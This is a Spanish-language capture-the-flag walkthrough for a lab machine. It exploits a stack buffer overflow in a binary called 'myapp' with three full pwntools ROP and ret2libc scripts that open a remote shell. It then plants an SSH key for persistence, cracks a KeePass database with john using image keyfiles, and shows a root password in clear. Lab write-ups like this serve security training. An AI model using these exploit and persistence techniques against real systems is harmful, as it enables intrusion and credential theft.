Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.10.147
Nmap scan report for 10.10.10.147
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
Al abrir el servicio web encontramos la plantilla por defecto de apache2
en debian
Al ver el codigo fuente
de la página podemos ver un comentario que nos dice que hay un binario con el nombre myapp
que esta corriendo en el puerto 1337
El binario de myapp
podemos descargarlo directamente de la pagina web en /myapp
❯ curl -s http://10.10.10.147/myapp -o myapp
Shell - user
Al ejecutar el programa comprobamos que es el mismo que corre en el puerto 1337
❯ ./myapp
19:32:56 up 8 min, 1 user, load average: 1,12, 0,83, 0,50
What do you want me to echo back? test
test
❯ netcat 10.10.10.147 1337
19:33:52 up 9 min, 0 users, load average: 0.00, 0.00, 0.00
What do you want me to echo back? test
test
Usando IDA
podemos desensamblar el binario, la función main
inicia ejecutando el comando uptime
con system
, luego de ello muestra un mensaje con printf
para posteriormente recibir un buffer con gets
, el primer argumento en rdi
es el puntero a un buffer en rbp-112
donde se escribiran los datos y el segundo en rsi
la cantidad de bytes a recibir, en este caso son 1000
, mas de los que el buffer de 112
espera
Antes de explotar el buffer overflow miraremos las protecciones, NX
esta habilitado, lo que quiere decir que no podremos simplemente ejecutar shellcode
en la pila
❯ checksec myapp
[*] '/home/user/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Sabemos que el buffer definido está en rbp - 112
por lo que podemos llenar ese buffer con A's
, luego enviar 8
bytes que es el tamaño de un qword
o registro de x64
con B's
y C's
, las B's
seran el valor despues de rbp - 112
por lo que rbp
deberia tomar ese valor y el resto de bytes se escribiran después de rbp
en el stack
❯ python3 -q
>>> b"A" * 112 + b"B" * 8 + b"C" * 8
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'
>>>
En este caso necesitamos indicar que al corromper el programa nos interesa seguir al proceso padre
, al enviar nuestro payload podemos ver que después de llenar el buffer con las 112 A's
, el registro rbp
ha tomado el valor de las 8 B's
y el siguiente qword
de las C's
se ha escrito en el stack como la dirección de retorno, sabemos que necesitamos 112
bytes para sobrescribir rbp
pero 120
para el retorno
❯ gdb -q myapp
Reading symbols from myapp...
(No debugging symbols found in myapp)
pwndbg> set follow-fork-mode parent
pwndbg> run
Starting program: /home/user/myapp
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
20:34:33 up 1:23, 1 user, load average: 0,54, 0,57, 0,58
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe438: 0x4343434343434343
pwndbg>
Buffer Overflow - Function
Hay diferentes formas de explotarlo, la primera es a través de una funcion test
existente en el binario en la dirección 0x401152
, este ejecuta un push
del valor de rbp
y luego mueve a rbp
la dirección del stack para guardar el puntero del stack en rdi
y saltar a r13
, por lo que si guardamos una función en r13
el primer argumento rdi
tendrá un puntero al valor que contenga rbp
al inicio de la ejecución de test
Lo primero sera buscar un gadget que guarde un valor en r13
, aunque encontramos un pop r13
tambien guarda 2 qwords
adicionales que llenaremos con null
bytes
❯ ropper --file myapp --search "pop r13;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13;
[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;
Luego necesitamos el valor de r13
donde saltará la función test
, podemos aprovechar que el binario no tiene PIE
y el simbolo system
se encuentra en él
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>
Resumiendo, guardamos la string /bin/sh
en rbp
, luego guardamos system@plt
en r13
, al llamar a test
el puntero a la string en rbp
se guarda en rdi
y salta a r13
por lo que como resultado obtenemos la ejecución de system("/bin/sh")
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 112
junk = b"A" * offset
payload = b""
payload += junk
payload += b"/bin/sh\x00" # rbp value
payload += p64(0x401206) # pop r13; pop r14; pop r15; ret;
payload += p64(0x401040) # system()
payload += p64(0x0) * 2 # padding for pops
payload += p64(0x401152) # test()
shell.sendline(payload)
shell.recvline()
shell.interactive()
Al ejecutar el script se conecta a la maquina victima por el puerto 1337
y al explotar el buffer overflow
nos devuelve una shell como el usuario user
, leemos la flag
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Buffer Overflow - Writable
Otra forma de explotarlo es aprovechandonos de la sección .data
la cual podemos ver con rabin2
donde tenemos permisos de escritura que se representa como rw-
❯ rabin2 -S myapp
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x000002a8 0x1c 0x004002a8 0x1c -r-- .interp
2 0x000002c4 0x20 0x004002c4 0x20 -r-- .note.ABI-tag
3 0x000002e4 0x24 0x004002e4 0x24 -r-- .note.gnu.build-id
4 0x00000308 0x1c 0x00400308 0x1c -r-- .gnu.hash
5 0x00000328 0xa8 0x00400328 0xa8 -r-- .dynsym
6 0x000003d0 0x50 0x004003d0 0x50 -r-- .dynstr
7 0x00000420 0xe 0x00400420 0xe -r-- .gnu.version
8 0x00000430 0x20 0x00400430 0x20 -r-- .gnu.version_r
9 0x00000450 0x30 0x00400450 0x30 -r-- .rela.dyn
10 0x00000480 0x60 0x00400480 0x60 -r-- .rela.plt
11 0x00001000 0x17 0x00401000 0x17 -r-x .init
12 0x00001020 0x50 0x00401020 0x50 -r-x .plt
13 0x00001070 0x1a1 0x00401070 0x1a1 -r-x .text
14 0x00001214 0x9 0x00401214 0x9 -r-x .fini
15 0x00002000 0x3c 0x00402000 0x3c -r-- .rodata
16 0x0000203c 0x44 0x0040203c 0x44 -r-- .eh_frame_hdr
17 0x00002080 0x120 0x00402080 0x120 -r-- .eh_frame
18 0x00002e10 0x8 0x00403e10 0x8 -rw- .init_array
19 0x00002e18 0x8 0x00403e18 0x8 -rw- .fini_array
20 0x00002e20 0x1d0 0x00403e20 0x1d0 -rw- .dynamic
21 0x00002ff0 0x10 0x00403ff0 0x10 -rw- .got
22 0x00003000 0x38 0x00404000 0x38 -rw- .got.plt
23 0x00003038 0x10 0x00404038 0x10 -rw- .data
24 0x00003048 0x0 0x00404048 0x8 -rw- .bss
25 0x00003048 0x1c 0x00000000 0x1c ---- .comment
26 0x00003068 0x618 0x00000000 0x618 ---- .symtab
27 0x00003680 0x20b 0x00000000 0x20b ---- .strtab
28 0x0000388b 0x103 0x00000000 0x103 ---- .shstrtab
Para explotarlo de esta manera necesitaremos iniciar obteniendo las direcciones de las funciones system@plt
y gets@plt
, estas podemos obtnerlas nuevamente en gdb
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>
Tambien necesitaremos un gadget que ejecute un pop rdi
para enviar la direccion .data
como argumento en las funciones que utilizaremos para explotarlo, primero a gets
para recibir la string y luego a system
para ejecutar esa string en el sistema
❯ ropper --file myapp --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: myapp
0x000000000040120b: pop rdi; ret;
La primera parte del exploit llama a gets
guardando la entrada en la sección .data
, aqui enviaremos la string /bin/sh
, luego llamamos a system
pasandole la direccion de .data
como argumento, de esta forma obtenemos un system("/bin/sh")
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404038) # .data
payload += p64(0x401060) # gets()
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404038) # .data
payload += p64(0x401040) # system()
shell.sendline(payload)
shell.sendline(b"/bin/sh\x00")
shell.recvline()
shell.interactive()
Al ejecutarlo explota el buffer overflow y nos otorna una shell como el usuario user
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Buffer Overflow - Puts
Otra forma es a través del output
del sistema, la idea sera obtener la direccion de puts@got
la cual deberia ser una referencia a puts@libc
por lo que tendriamos una dirección dentro de libc
que podriamos usar para ejecutar otras funciones
pwndbg> got -r puts
Filtering by symbol name: puts
State of the GOT of /home/user/myapp:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e38b00 (puts) ◂— push r14
pwndbg>
Tambien necesitaremos la funcion se system
para ejecutar puts@got
como comando y en el error ver la direccion lekeada de puts@libc
, tambien necesitaremos la direccion de main
para una vez ocurra el error volver al inicio del programa
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg> print main
$1 = {<text variable, no debug info>} 0x40115f <main>
pwndbg>
Ademas el gadget de pop rdi
para poder enviar a puts@got
como un argumento
❯ ropper --file myapp --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: myapp
0x000000000040120b: pop rdi; ret;
La idea es en un inicio ejecutar system(puts@got)
, esto claramente ocasionara un error ya que intentara ejecutar los bytes de puts@libc
pero este error se ve reflejado por lo que deberiamos obtener su direccion, luego de ello simplemente volvemos a main
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()
shell.sendline(payload)
shell.recvline()
print(shell.recvline())
Al ejecutarlo podemos ver que funciona y en el error hay un leak de puts@libc
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
b'sh: 1: \x90\x8f\x98\xeb:\x7f: not found\n'
[*] Closed connection to 10.10.10.147 port 1337
Ya que lo recibimos en formato bytes usaremos u64
para pasarlo a un valor entero
leak = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00"))
log.info(f"puts@libc: {hex(leak)}")
Al ejecutarlo podemos ver la dirección de puts@libc
en formato hexadecimal
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] puts@libc: 0x7f6ef6156f90
[*] Closed connection to 10.10.10.147 port 1337
Especificamente con los ultimos bytes podemos detectar la versión de libc
y por lo tanto el offset que debemos restar a puts
para obtener la dirección base, al ejecutar libcdb
podemos ver que es libc 2.24
y el offset de puts
es 0x68f90
, además de ello vemos otras direcciones interesantes como la de system
o de la string /bin/sh
❯ libcdb lookup puts f90
[*] libc6_2.24-11+deb9u4_amd64
BuildID: 775143e680ff0cd4cd51cce1ce8ca216e635a1d6
MD5: 3e5c9b44fc491e6dd5e480fcb316bf2d
SHA1: 81a6361b56ed07f58021f6a4795a58d565253956
SHA256: d37be6b076bed6b4031451c8495aca3f350273e90dd5b97721f6b167b88ce1ea
Symbols:
__libc_start_main_ret = 0x202e1
dup2 = 0xdbfb0
printf = 0x4f190
puts = 0x68f90
read = 0xdb900
str_bin_sh = 0x161c19
system = 0x3f480
write = 0xdb960
Ya que tenemos una dirección de libc y los offsets para system
y /bin/sh
solo nos queda buscar un pop rdi
en esa version de libc para guardarlo como argumento
❯ ropper --file libc.so.6 --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: libc.so.6
0x000000000001fc6a: pop rdi; ret;
La primera parte del exploits se encarga de lekear la dirección de puts
para obtener libc
base, con los offsets conocidos guardamos /bin/sh
en rdi
y ejecutar system
#!/usr/bin/python3
from pwn import remote, p64, u64, log
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()
shell.sendline(payload)
shell.recvline()
libc_base = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00")) - 0x68f90
payload = b""
payload += junk
payload += p64(libc_base + 0x01fc6a) # pop rdi; ret;
payload += p64(libc_base + 0x161c19) # "/bin/sh"
payload += p64(libc_base + 0x03f480) # system()
shell.sendline(payload)
shell.recvline()
shell.interactive()
Finalmente ejecutamos el script que explota el buffer overflow
y nos da una shell
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Para obtener una shell
mas comoda podemos guardar nuestra clave publica
como autorizada en la maquina para despues conectarnos por ssh
sin contraseña
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEO8eT1sRh3GpjhaLijzsM0P8IQzOflLDv6jI5j4LU3W user@ubuntu" > /home/user/.ssh/authorized_keys
$
❯ ssh user@10.10.10.147
user@safe:~$ whoami
user
user@safe:~$ hostname -I
10.10.10.147
user@safe:~$ cat user.txt
c15**************************ef9
user@safe:~$
Shell - root
En el directorio home del usuario user
podemos encontrar un archivo de kepass MyPasswords.kdbx
y varios archivos de extension JPG
que son solo imagenes
user@safe:~$ ls -l
-rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG
-rwxr-xr-x 1 user user 16592 May 13 2019 myapp
-rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx
-rw------- 1 user user 33 Jul 14 19:27 user.txt
user@safe:~$
Para descargar todos los archivos podemos usar scp
aprovechando la conexion ssh
❯ scp user@10.10.10.147:'*' .
IMG_0545.JPG 100% 1863KB 695.1KB/s 00:02
IMG_0546.JPG 100% 1872KB 703.2KB/s 00:02
IMG_0547.JPG 100% 2470KB 636.0KB/s 00:03
IMG_0548.JPG 100% 2858KB 570.2KB/s 00:05
IMG_0552.JPG 100% 1099KB 549.4KB/s 00:02
IMG_0553.JPG 100% 1060KB 571.9KB/s 00:01
MyPasswords.kdbx 100% 2446 7.5KB/s 00:00
myapp 100% 16KB 50.1KB/s 00:00
user.txt 100% 33 0.1KB/s 00:00
Usando keepass2john
podemos crear un hash tanto de el archivo kdbx
como para cada una de las imagenes JPG
, despues con john podemos romper este hash
❯ keepass2john MyPasswords.kdbx > hash
❯ for image in $(ls IMG*); do keepass2john -k $image MyPasswords.kdbx >> hash; done
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64])
Remaining 6 password hashes with 6 different salts
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
La contraseña que hemos conseguido con john es bullshit
, sin embargo en keepass
tambien necesitamos proporcionar un fichero clave
, despues de probar cada uno de los archivos JPG encontramos que IMG_0547.JPG
es un archivo valido
Despues de desbloquear la base de datos
podemos encontrar una credencial llamada Root password
que parece ser la contraseña del usuario root
Usando esta contraseña podemos usar su
para convertirnos en el usuario root
, la contraseña es valida y conseguimos una shell
como este y podemos leer la flag
user@safe:~$ su root
Password: u3v2249dl9ptv465cogl3cnpo3fyhk
root@safe:~# id
uid=0(root) gid=0(root) groups=0(root)
root@safe:~# hostname -I
10.10.10.147
root@safe:~# cat /root/root.txt
78b**************************a52
root@safe:~#